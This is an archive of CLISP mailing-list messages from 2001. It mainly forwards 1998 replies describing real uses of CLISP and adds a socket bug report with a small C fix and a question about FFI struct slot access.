boundary="--=_ImUWPLQ5mofr1E2EPueJgoftMZpV.MFSBCHJLHS" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 11 12:01:06 2001 X-Original-Date: Tue, 11 Dec 2001 20:57:22 +0100 ----=_ImUWPLQ5mofr1E2EPueJgoftMZpV.MFSBCHJLHS Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit On 11 Dec 2001 14:09:34 +0100, Edmund Weitz wrote: > Paolo Amoroso writes: > > > A while and a half back Bruno asked users how they were using > > CLISP. I don't know whether those messages are in the archive. If > > anybody is interested, I can collect the most interesting replies > > and post them here. > > That would be interesting, yes. The relevant messages are attached here. If anybody has more up to date information, I'd be interested too. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://web.mclink.it/amoroso/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] ----=_ImUWPLQ5mofr1E2EPueJgoftMZpV.MFSBCHJLHS Content-Type: text/plain; charset=us-ascii; name=clisp-usage.txt Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=clisp-usage.txt >From pg@yahoo-inc.com Fri Oct 16 23:49:44 1998 Received: from seagull.cdrom.com (root@seagull.cdrom.com [204.216.27.14]) by mail1.mclink.it (8.9.1/8.9.0) with ESMTP id BAA05558 for ; Sat, 17 Oct 1998 01:03:26 +0200 (CEST) Received: from clisp.cons.org (haible@localhost [127.0.0.1]) by seagull.cdrom.com (8.8.8/8.6.6) with SMTP id PAA10656 ; Fri, 16 Oct 1998 15:49:44 -0700 (PDT) Date: Fri, 16 Oct 1998 15:49:44 -0700 (PDT) Message-Id: <199810162300.QAA07747@atresia.yahoo.com> Errors-To: haible@ilog.fr Reply-To: clisp-list@seagull.cons.org Originator: clisp-list@clisp.cons.org Sender: clisp-list@seagull.cons.org Precedence: bulk From: Paul Graham To: Multiple recipients of list Subject: thanks from Yahoo! Store X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas I just sent Bruno some email thanking him and his collaborators for their work on Clisp, and mentioning that we had used it to implement Yahoo! Store (http://store.yahoo.com). Bruno suggested I send mail to clisp-list about this use of Clisp. Yahoo! Store is one of the most complex server-based apps so far, and we have found Lisp to be the perfect language for writing this type of program. Y! Store is also a good example of a successful mainstream Lisp application. It is by far the most popular offering in the extremely competitive e-commerce field. We currently have over 2300 live users, about twice as many as the #2 product. We've used Clisp since the beginning, and have found it to be a great CL implementation. --pg >From haible@ilog.fr Sat Oct 17 00:36:17 1998 Received: from seagull.cdrom.com (root@seagull.cdrom.com [204.216.27.14]) by mail1.mclink.it (8.9.1/8.9.0) with ESMTP id BAA16928 for ; Sat, 17 Oct 1998 01:49:57 +0200 (CEST) Received: from clisp.cons.org (haible@localhost [127.0.0.1]) by seagull.cdrom.com (8.8.8/8.6.6) with SMTP id QAA11402 ; Fri, 16 Oct 1998 16:36:17 -0700 (PDT) Date: Fri, 16 Oct 1998 16:36:17 -0700 (PDT) Message-Id: <199810162348.BAA00876@jaures.ilog.fr> Errors-To: haible@ilog.fr Reply-To: clisp-list@seagull.cons.org Originator: clisp-list@clisp.cons.org Sender: clisp-list@seagull.cons.org Precedence: bulk From: Bruno Haible To: Multiple recipients of list Subject: kinds of clisp applications X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas What is CLISP being used for? I'd be interested to hear from as many of you as possible, what you are doing in CLISP. For example, - Erann Gat and his team uses/used it as 2nd choice for the NASA Millenium Space Flight. (The first choice being Harlequin CL.) - Paul Graham uses it for programming an uncommon kind of web server. - I recently used it for prototyping a graph layout algorithm. The Lisp prototype took a week, the C++ implementation then took a month. - I also use it for extracting the german/french messages from the CLISP source and putting them into a translation database. How about you? Please reply to clisp-list@clisp.cons.org. Bruno >From joswig@lavielle.com Sat Oct 17 01:46:12 1998 Received: from seagull.cdrom.com (root@seagull.cdrom.com [204.216.27.14]) by mail1.mclink.it (8.9.1/8.9.0) with ESMTP id DAA00116 for ; Sat, 17 Oct 1998 03:00:00 +0200 (CEST) Received: from clisp.cons.org (haible@localhost [127.0.0.1]) by seagull.cdrom.com (8.8.8/8.6.6) with SMTP id RAA12108 ; Fri, 16 Oct 1998 17:46:12 -0700 (PDT) Date: Fri, 16 Oct 1998 17:46:12 -0700 (PDT) Message-Id: Errors-To: haible@ilog.fr Reply-To: clisp-list@seagull.cons.org Originator: clisp-list@clisp.cons.org Sender: clisp-list@seagull.cons.org Precedence: bulk From: Rainer Joswig To: Multiple recipients of list Subject: Re: kinds of clisp applications X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas At 16:36 Uhr -0700 16.10.1998, Bruno Haible wrote: >How about you? Please reply to clisp-list@clisp.cons.org. We were running for quite some time a telephone log accounting software with CLisp, parsing the logs of our 60 channel ISDN telephone system, sending daily summaries and creating monthly cost sums for billing our customers. Currently it runs on another Lisp (this has nothing to do with the quality of CLisp, though). I think some logs of a Radius authentication server for our Ascend remote access equipment will be nightly parsed, checked and summarized by a CLisp program. Should also give a usage overview. Some other code is running on a Lisp machine. A student is currently working on a program controlling the temperature in our server room and inside some machines (fan failures!). A CLisp program will send daily temperature overviews and will report in 15 minute intervals problematic conditions. Sure some more... We are using CLisp on Solaris (SPARC and x86). Our experiences: does its work very effectively - has replaced scripting languages like SCSH - a bit weak on the environment/UI side - more complete ANSI compliance would make sharing code with other Lisps easier. Thanks to the developers and maintainers! Rainer Joswig Rainer Joswig, Lavielle EDV Systemberatung GmbH & Co, Lotharstrasse 2b, D22041 Hamburg, Tel: +49 40 658088, Fax: +49 40 65808-202, Email: joswig@lavielle.com , WWW: http://www.lavielle.com/~joswig/ >From yoda@isr.ist.utl.pt Sat Oct 17 12:07:03 1998 Received: from seagull.cdrom.com (root@seagull.cdrom.com [204.216.27.14]) by mail1.mclink.it (8.9.1/8.9.0) with ESMTP id NAA21551 for ; Sat, 17 Oct 1998 13:20:47 +0200 (CEST) Received: from clisp.cons.org (haible@localhost [127.0.0.1]) by seagull.cdrom.com (8.8.8/8.6.6) with SMTP id EAA19229 ; Sat, 17 Oct 1998 04:07:03 -0700 (PDT) Date: Sat, 17 Oct 1998 04:07:03 -0700 (PDT) Message-Id: <9810171121.AA15581@magalhaes.isr.ist.utl.pt> Errors-To: haible@ilog.fr Reply-To: clisp-list@seagull.cons.org Originator: clisp-list@clisp.cons.org Sender: clisp-list@seagull.cons.org Precedence: bulk From: Rodrigo Ventura To: Multiple recipients of list Subject: Re: kinds of clisp applications X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas >>>>> "Bruno" == Bruno Haible writes: Bruno> How about you? Please reply to clisp-list@clisp.cons.org. Hum, what a sudden entusiasm for LISP. I don't know about you, but I just loved that message from Paul Graham, forwarded it to almost all my friends. Great! Great! Great! Since really long time ago I've been using CLISP. I started using it in a Amiga A3000. Through time I've been tried another CL implementations but anyway I always went back to CLISP. Currently I've been using CLISP for my MSc. thesis work in AI. I've been gluing LISP to neat GUI interfaces in Tcl/Tk using the naif but flexible with-wish package. This recognition of the merits of CLISP by the author of two greayt books about LISP, in an interesting applications, positivelly-reinforced my choice of CLISP, even against friend LISP programmers opinion. Afterall I was right in choosing CLISP... Best regards, -- -- *** Rodrigo Martins de Matos Ventura, alias *** yoda@isr.ist.utl.pt, http://www.isr.ist.utl.pt/~yoda *** Instituto de Sistemas e Robotica, Polo de Lisboa *** Instituto Superior Tecnico, Lisboa, Portugal *** PGP Public Key available on my homepage *** Key fingerprint = 0C 0A 25 58 46 CF 14 99 CF 9C AF 9E 10 02 BB 2A >From sds@goems.com Sat Oct 17 17:13:25 1998 Received: from seagull.cdrom.com (root@seagull.cdrom.com [204.216.27.14]) by mail1.mclink.it (8.9.1/8.9.0) with ESMTP id SAA10749 for ; Sat, 17 Oct 1998 18:27:31 +0200 (CEST) Received: from clisp.cons.org (haible@localhost [127.0.0.1]) by seagull.cdrom.com (8.8.8/8.6.6) with SMTP id JAA21716 ; Sat, 17 Oct 1998 09:13:25 -0700 (PDT) Date: Sat, 17 Oct 1998 09:13:25 -0700 (PDT) Message-Id: Errors-To: haible@ilog.fr Reply-To: clisp-list@seagull.cons.org Originator: clisp-list@clisp.cons.org Sender: clisp-list@seagull.cons.org Precedence: bulk From: Sam Steingold To: Multiple recipients of list Subject: Re: kinds of clisp applications X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas >>>> In message <199810162348.BAA00876@jaures.ilog.fr> >>>> On the subject of "kinds of clisp applications" >>>> Sent on Fri, 16 Oct 1998 16:36:14 -0700 (PDT) >>>> Honorable Bruno Haible writes: >> >> How about you? Please reply to clisp-list@clisp.cons.org. I use it as a developing platform for futures trading systems. (I do most of the actual computations using CMUCL, since it is about 8 times as fast as CLISP for my code, and even then an average task takes hours to complete). BTW, I posted an announcement of CLISP to freshmeat (http://news.freshmeat.net). -- Sam Steingold (http://www.goems.com/~sds) running RedHat5.1 GNU/Linux Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Never let your schooling interfere with your education. >From sds@goems.com Sat Oct 17 18:04:01 1998 Received: from seagull.cdrom.com (root@seagull.cdrom.com [204.216.27.14]) by mail1.mclink.it (8.9.1/8.9.0) with ESMTP id TAA24080 for ; Sat, 17 Oct 1998 19:17:44 +0200 (CEST) Received: from clisp.cons.org (haible@localhost [127.0.0.1]) by seagull.cdrom.com (8.8.8/8.6.6) with SMTP id KAA22479 ; Sat, 17 Oct 1998 10:04:01 -0700 (PDT) Date: Sat, 17 Oct 1998 10:04:01 -0700 (PDT) Message-Id: Errors-To: haible@ilog.fr Reply-To: clisp-list@seagull.cons.org Originator: clisp-list@clisp.cons.org Sender: clisp-list@seagull.cons.org Precedence: bulk From: Sam Steingold To: Multiple recipients of list Subject: Re: kinds of clisp applications X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas >>>> In message <362cc716.663189@mail.mclink.it> >>>> On the subject of "Re: kinds of clisp applications" >>>> Sent on Sat, 17 Oct 1998 09:28:17 -0700 (PDT) >>>> Honorable amoroso@mclink.it (Paolo Amoroso) writes: >> On Fri, 16 Oct 1998 16:36:17 -0700 (PDT), you wrote: >> >> > What is CLISP being used for? I'd be interested to hear from as many of >> [...] >> > - Erann Gat and his team uses/used it as 2nd choice for the NASA Millenium >> > Space Flight. (The first choice being Harlequin CL.) >> >> Is there any publicly available info about the Lisp part of this project >> (i.e. I'm interested in software issues, not scientific goals or space >> engineering issues)? http://ic-www.arc.nasa.gov/ic/projects/Autonomous-Systems.html (might be relevant) -- Sam Steingold (http://www.goems.com/~sds) running RedHat5.1 GNU/Linux Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Do not worry about which side your bread is buttered on: you eat BOTH sides. >From joswig@lavielle.com Sat Oct 17 20:39:03 1998 Received: from seagull.cdrom.com (root@seagull.cdrom.com [204.216.27.14]) by mail1.mclink.it (8.9.1/8.9.0) with ESMTP id VAA01183 for ; Sat, 17 Oct 1998 21:52:55 +0200 (CEST) Received: from clisp.cons.org (haible@localhost [127.0.0.1]) by seagull.cdrom.com (8.8.8/8.6.6) with SMTP id MAA23907 ; Sat, 17 Oct 1998 12:39:03 -0700 (PDT) Date: Sat, 17 Oct 1998 12:39:03 -0700 (PDT) Message-Id: Errors-To: haible@ilog.fr Reply-To: clisp-list@seagull.cons.org Originator: clisp-list@clisp.cons.org Sender: clisp-list@seagull.cons.org Precedence: bulk From: Rainer Joswig To: Multiple recipients of list Subject: Re: kinds of clisp applications X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas At 10:03 Uhr -0700 17.10.1998, Sam Steingold wrote: >>>>> In message <362cc716.663189@mail.mclink.it> >>>>> On the subject of "Re: kinds of clisp applications" >>>>> Sent on Sat, 17 Oct 1998 09:28:17 -0700 (PDT) >>>>> Honorable amoroso@mclink.it (Paolo Amoroso) writes: > >> On Fri, 16 Oct 1998 16:36:17 -0700 (PDT), you wrote: > >> > >> > What is CLISP being used for? I'd be interested to hear from as many of > >> [...] > >> > - Erann Gat and his team uses/used it as 2nd choice for the NASA Millenium > >> > Space Flight. (The first choice being Harlequin CL.) > >> > >> Is there any publicly available info about the Lisp part of this project > >> (i.e. I'm interested in software issues, not scientific goals or space > >> engineering issues)? > >http://ic-www.arc.nasa.gov/ic/projects/Autonomous-Systems.html Click on home (http://ic.arc.nasa.gov/ic/index.html) and see (bottom of page) that Peter Norvig is now working there. Rainer Joswig, Lavielle EDV Systemberatung GmbH & Co, Lotharstrasse 2b, D22041 Hamburg, Tel: +49 40 658088, Fax: +49 40 65808-202, Email: joswig@lavielle.com , WWW: http://www.lavielle.com/~joswig/ >From lambertb@uic.edu Sat Oct 17 21:09:27 1998 Received: from seagull.cdrom.com (root@seagull.cdrom.com [204.216.27.14]) by mail1.mclink.it (8.9.1/8.9.0) with ESMTP id WAA08098 for ; Sat, 17 Oct 1998 22:24:23 +0200 (CEST) Received: from clisp.cons.org (haible@localhost [127.0.0.1]) by seagull.cdrom.com (8.8.8/8.6.6) with SMTP id NAA24417 ; Sat, 17 Oct 1998 13:09:27 -0700 (PDT) Date: Sat, 17 Oct 1998 13:09:27 -0700 (PDT) Message-Id: <199810172015.PAA16050@eeyore.cc.uic.edu> Errors-To: haible@ilog.fr Reply-To: clisp-list@seagull.cons.org Originator: clisp-list@clisp.cons.org Sender: clisp-list@seagull.cons.org Precedence: bulk From: "Bruce L. Lambert" To: Multiple recipients of list Subject: Re: kinds of clisp applications X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas I used CLISP to develop a document clustering program that extracts themes from free text data. See, e.g., ftp://ludwig.pharm.uic.edu/pub/ThemeMachine.pdf (an old tech report) ftp://ludwig.pharm.uic.edu/pub/ndcca.pdf (a research project using the Theme Machine) ftp://ludwig.pharm.uic.edu/pub/rph-units.d50.t.1.clink.out (some sample output) I also used CLISP to develop an approximate string matching and phonetic retrieval system. This system is used for finding approximate matches in large lexicons of proper names. In my case, I use the system to evaluate proposed new drug names as a means of preventing drug name confusion errors. This system is being used on a trial basis by the U. S. Food and Drug Administration and I am about to enter into a contract with the United States Adopted Names Council (USANC) to provide the same service. These two agencies combined are responsible for approving the brand and generic names of all new drugs in the United States. USANC has responsibility for international nonproprietary names as well. A paper describing aspects of this system is at ftp://ludwig.pharm.uic.edu/pub/MedErrors.pdf (Also published in the American Journal of Health-System Pharmacy, May 15, 1997). Like Sam Steingold, I began my work using CLISP and eventually moved to CMUCL. I recently 'moved up' to Allegro Common Lisp for my Tatung Ultrasparc machine, but I will always be grateful to Bruno and the other CLISP developers. CLISP is a very high quality implementation, and the developers were always prepared to offer timely and very generous assistance when questions arose. Bravo Bruno and friends! Bruce L. Lambert, PhD Department of Pharmacy Administration (M/C 871) University of Illinois at Chicago 833 S. Wood St. Chicago, IL 60612-7231 >From donc@ISI.EDU Mon Oct 19 17:08:27 1998 Received: from seagull.cdrom.com (root@seagull.cdrom.com [204.216.27.14]) by mail1.mclink.it (8.9.1/8.9.0) with ESMTP id SAA24517 for ; Mon, 19 Oct 1998 18:23:42 +0200 (CEST) Received: from clisp.cons.org (haible@localhost [127.0.0.1]) by seagull.cdrom.com (8.8.8/8.6.6) with SMTP id JAA15382 ; Mon, 19 Oct 1998 09:08:27 -0700 (PDT) Date: Mon, 19 Oct 1998 09:08:27 -0700 (PDT) Message-Id: <199810191618.JAA06238@tnt.isi.edu> Errors-To: haible@ilog.fr Reply-To: clisp-list@seagull.cons.org Originator: clisp-list@clisp.cons.org Sender: clisp-list@seagull.cons.org Precedence: bulk From: Don Cohen To: Multiple recipients of list Subject: Re: kinds of clisp applications X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas What is CLISP being used for? I'd be interested to hear from as many of you as possible, what you are doing in CLISP. AP5 is a lisp extension that serves as a higher level (than lisp) programming language - for details see http://ap5.com/ and http://www.isi.edu/software-sciences/relab/relab.html Some years ago I ported ap5 to clisp (the history of ap5 goes from about 1984 through interlisp, symbolics, lucid and franz), and I now use both clisp and Franz (Allegro) to host AP5. Currently I use ap5 mostly for work on software monitoring which is described at http://www.compsvcs.com/somos.html http://www.compsvcs.com/flea.html Also, my wife has for several years used clisp for scheduling a rather large chamber music conference. The history of that program goes back to 1977 (this time I'll go backwards in time) through IQLisp (which I still use for that same music conferece), interlisp, CMULisp. (CMULisp is not CMUCL. It was a branch from UCILisp which came from Stanford lisp 1.6, which I think came from MIT. But I digress...) >From toy@rtp.ericsson.se Mon Oct 19 17:26:07 1998 Received: from seagull.cdrom.com (root@seagull.cdrom.com [204.216.27.14]) by mail1.mclink.it (8.9.1/8.9.0) with ESMTP id SAA02311 for ; Mon, 19 Oct 1998 18:40:36 +0200 (CEST) Received: from clisp.cons.org (haible@localhost [127.0.0.1]) by seagull.cdrom.com (8.8.8/8.6.6) with SMTP id JAA15808 ; Mon, 19 Oct 1998 09:26:07 -0700 (PDT) Date: Mon, 19 Oct 1998 09:26:07 -0700 (PDT) Message-Id: <20413.908815148@rtp.ericsson.se> Errors-To: haible@ilog.fr Reply-To: clisp-list@seagull.cons.org Originator: clisp-list@clisp.cons.org Sender: clisp-list@seagull.cons.org Precedence: bulk From: Raymond Toy To: Multiple recipients of list Subject: Re: kinds of clisp applications X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas >>>>> "Bruno" == Bruno Haible writes: Bruno> What is CLISP being used for? I'd be interested to hear from as many of Bruno> you as possible, what you are doing in CLISP. For example, A while ago, I wrote a program to search for primes and generate authentication keys. The search was distributed over several machines, each one looking for one prime. When enough primes were found, the authentication keys were computed. The "multi-processing" was very crude: wait until someone returned an answer. Ray >From gat@binkley.jpl.nasa.gov Mon Oct 19 18:29:18 1998 Received: from seagull.cdrom.com (root@seagull.cdrom.com [204.216.27.14]) by mail1.mclink.it (8.9.1/8.9.0) with ESMTP id TAA01144 for ; Mon, 19 Oct 1998 19:44:08 +0200 (CEST) Received: from clisp.cons.org (haible@localhost [127.0.0.1]) by seagull.cdrom.com (8.8.8/8.6.6) with SMTP id KAA16898 ; Mon, 19 Oct 1998 10:29:18 -0700 (PDT) Date: Mon, 19 Oct 1998 10:29:18 -0700 (PDT) Message-Id: <199810191742.KAA07752@binkley.jpl.nasa.gov> Errors-To: haible@ilog.fr Reply-To: clisp-list@seagull.cons.org Originator: clisp-list@clisp.cons.org Sender: clisp-list@seagull.cons.org Precedence: bulk From: Erann Gat To: Multiple recipients of list Subject: Re: kinds of clisp applications X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas > What is CLISP being used for? I'd be interested to hear from as many of > you as possible, what you are doing in CLISP. For example, > > - Erann Gat and his team uses/used it as 2nd choice for the NASA Millenium > Space Flight. (The first choice being Harlequin CL.) An overview of this project (an autonomous control system called Remote Agent) can be found in the Sept/Oct '98 issue of IEEE Intelligent Systems Magazine. We haven't published anything about software engineering issues or the use of Lisp per se. Lisp is still a political hot potato at NASA so we're trying not to make a big deal out of it. The Harlequin Lispworks implementation of the Remote Agent is being evaluated by several other NASA projects, so far with positive results. Erann Gat gat@jpl.nasa.gov >From matthias@intellektik.informatik.tu-darmstadt.de Thu Oct 22 16:31:39 1998 Received: from seagull.cdrom.com (root@seagull.cdrom.com [204.216.27.14]) by mail1.mclink.it (8.9.1/8.9.0) with ESMTP id RAA07388 for ; Thu, 22 Oct 1998 17:47:59 +0200 (CEST) Received: from clisp.cons.org (haible@localhost [127.0.0.1]) by seagull.cdrom.com (8.8.8/8.6.6) with SMTP id IAA26713 ; Thu, 22 Oct 1998 08:31:39 -0700 (PDT) Date: Thu, 22 Oct 1998 08:31:39 -0700 (PDT) Message-Id: <13871.21265.393543.333118@orion.plopp.de> Errors-To: haible@ilog.fr Reply-To: clisp-list@seagull.cons.org Originator: clisp-list@clisp.cons.org Sender: clisp-list@seagull.cons.org Precedence: bulk From: Matthias Lindner To: Multiple recipients of list Subject: Re: kinds of clisp applications X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas Bruno Haible wrote: > > What is CLISP being used for? I'd be interested to hear from as many of > you as possible, what you are doing in CLISP. The first thing I did with CLISP was 'classic' AI research: Plopp! a planner for office procedures. That's where WITH-WISH came from. Last year I implemented an application that supports the production process of the new Wayfinding and Information System of Deutsche Bahn AG. Architects specify contents of information signs, relations between signs (i.e. sign groups) and architectural constraints. Based on this information the systems generates sign layouts that are used by the sign producers to control the CNC machines that cut slides for the signs. The system guarantees that all layout rules specified by the designers of the new Wayfinding System are obeyed. The need for this kind of system arose as Deutsche Bahn AG currently renovates about 6500 railway stations in Germany and it was impossible to layout all signs by hand *and* to guarantee a consistent use of the design rules. The system consists of a server, implemented in CLISP, that is connected via FFI to a relational database, a pixmap drawing module and a TCP/IP module. Clients connect via TCP/IP to this server either by launching a special Tcl/Tk GUI or a WEB browser. They can create stations, insert signs and groups of signs, preview the layout, print station catalogs or produce sign production layouts. The use of COMMON LISP and of CLISP in particular was the critical decision that enabled me to implement this complex 'real world' application within a relatively short time. So, if you ever come to one of the renovated railway stations in Germany and see one of the shiny new white-on-blue or blue-on-orange signs, remember it was CLISP that made them! (But if you lose your way or if you do not like the design of the signs you can't put the blame on CLISP! ;-) ) --Matthias ------------------------------------------------------------------------------- Matthias Lindner, Wilhelm-Leuschner-Str.46, 64293 Darmstadt, Germany Tel.: +49 6151 22071, E-Mail: matthias@intellektik.informatik.tu-darmstadt.de ------------------------------------------------------------------------------- >From jschrod@acm.org Mon Oct 26 17:51:13 1998 Received: from seagull.cdrom.com (root@seagull.cdrom.com [204.216.27.14]) by mail1.mclink.it (8.9.1/8.9.0) with ESMTP id SAA21834 for ; Mon, 26 Oct 1998 18:06:26 +0100 (CET) Received: from clisp.cons.org (haible@localhost [127.0.0.1]) by seagull.cdrom.com (8.8.8/8.6.6) with SMTP id IAA16854 ; Mon, 26 Oct 1998 08:51:13 -0800 (PST) Date: Mon, 26 Oct 1998 08:51:13 -0800 (PST) Message-Id: <199810261601.RAA23650@npc.de> Errors-To: haible@ilog.fr Reply-To: clisp-list@seagull.cons.org Originator: clisp-list@clisp.cons.org Sender: clisp-list@seagull.cons.org Precedence: bulk From: Joachim Schrod To: Multiple recipients of list Subject: Re: kinds of clisp applications X-Listprocessor-Version: 6.0 -- ListProcessor by Anastasios Kotsikonas >>>>> "BH" == Bruno Haible writes: BH> What is CLISP being used for? Some of our projects: xindy, a next-generation index processor, is written in CLISP. (Note that this is an index processor, not an indexing system.) http://www.iti.informatik.th-darmstadt.de/xindy/ has more information. xindy is actively developped. It is one of the projects that try to push out a Lisp-based systems to the `masses' who are not interested in Lisp at all. An interesting part problem is the creation of a reasonably good source distribution. (Distribution and documentation structure are currently one of our greatest hurdles.) -- If anyone wants to give a hand here, contact Roger or me... :-) :-) xindy builds on the ideas of STIL, (`SGML Transformations in Lisp', a style sheet language to create structure-controlled SGML applications.) STIL is an experiment to check if a CLOS-based approach may be used in that context, instead of the commonly used scheme-based DSSSL approaches. It is not a production system. STIL is not actively developped. Oh yes, and ETLS, the Executable TeX Language Specification. An interpreter for a formal specification of the TeX Macro Language, written in CLISP. (The concept used is very near to standard denotational semantics.) Some day, I'm going to continue on that project, make a TeX debugger out of it to show that this theoretical work can have practical consequences... :-) Besides, Lisp systems to interpret specifications of UI toolkits. But that's up to Gabor to describe, he's reading this list, too. :-) Cheers, Joachim -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Joachim Schrod Email: jschrod@acm.org Net & Publication Consultance GmbH Tel.: +49-6074-861530 Roedermark, Germany Fax: +49-6074-861531 ----=_ImUWPLQ5mofr1E2EPueJgoftMZpV.MFSBCHJLHS-- From ian_wild@yahoo.com Tue Dec 11 13:09:19 2001 Received: from web14203.mail.yahoo.com ([216.136.172.145]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Du9P-0007R6-00 for ; Tue, 11 Dec 2001 13:09:19 -0800 Message-ID: <20011211210919.50794.qmail@web14203.mail.yahoo.com> Received: from [217.136.3.85] by web14203.mail.yahoo.com via HTTP; Tue, 11 Dec 2001 21:09:19 GMT From: =?iso-8859-1?q?ian=20wild?= To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [clisp-list] 2.27 socket-stream-local bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 11 13:10:03 2001 X-Original-Date: Tue, 11 Dec 2001 21:09:19 +0000 (GMT) Bug: (socket:socket-stream-local xx t) tends to return garbage after the IP address Cause: The comment in src/socket.d claiming that socket_getlocalname() "Fills all of *hd" is less than honest. Fix: Add a clause like the one in socket_getpeername() else { hd->truename[0] = '\0'; } at the end of the "if (resolve_p)" in socket_getlocalname(). __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com From samuel.steingold@verizon.net Tue Dec 11 13:09:35 2001 Received: from out004pub.verizon.net ([206.46.170.104]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Du9e-0007Re-00 for ; Tue, 11 Dec 2001 13:09:34 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by out004pub.verizon.net with ESMTP ; id fBBLAl523953 Tue, 11 Dec 2001 15:10:49 -0600 (CST) To: Paolo Amoroso Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] High Performancs Clisp References: <01121015432908.11448@cube.syzygyx.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 11 13:10:04 2001 X-Original-Date: 11 Dec 2001 16:09:04 -0500 > * In message > * On the subject of "Re: [clisp-list] High Performancs Clisp" > * Sent on Tue, 11 Dec 2001 11:42:23 +0100 > * Honorable Paolo Amoroso writes: > > A while and a half back Bruno asked users how they were using CLISP. I > don't know whether those messages are in the archive. If anybody is > interested, I can collect the most interesting replies and post them > here. some are listed in the end of Please, do fill out this survey! -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Perl: all stupidities of UNIX in one. From kaz@footprints.net Wed Dec 12 20:24:16 2001 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ENPr-00059t-00 for ; Wed, 12 Dec 2001 20:24:15 -0800 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.16 #1) id 16ENPl-0003Sf-00 for clisp-list@lists.sourceforge.net; Wed, 12 Dec 2001 20:24:09 -0800 From: Kaz Kylheku To: In-Reply-To: <01121015432908.11448@cube.syzygyx.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Accessing slots of c-structs in Linux package. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 12 20:25:01 2001 X-Original-Date: Wed, 12 Dec 2001 20:24:09 -0800 (PST) In my image, I have the module linuxlibc6. [1]> (setf d (linux:opendir "/tmp")) # [2]> (setf de (linux:readdir d)) #S(LINUX:dirent :|d_ino| 1120260 :|d_off| 12 :|d_reclen| 16 :|d_type| 0 :|d_name| ".") [3]> (slot-value de '|d_name|) *** - SLOT-VALUE: The class # has no slot named |d_name| From samuel.steingold@verizon.net Thu Dec 13 10:08:08 2001 Received: from out003pub.verizon.net ([206.46.170.103]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16EaH9-0003nD-00 for ; Thu, 13 Dec 2001 10:08:07 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by out003pub.verizon.net with ESMTP ; id fBDI7rP02247 Thu, 13 Dec 2001 12:07:56 -0600 (CST) To: Kaz Kylheku Cc: Subject: Re: [clisp-list] Accessing slots of c-structs in Linux package. References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net 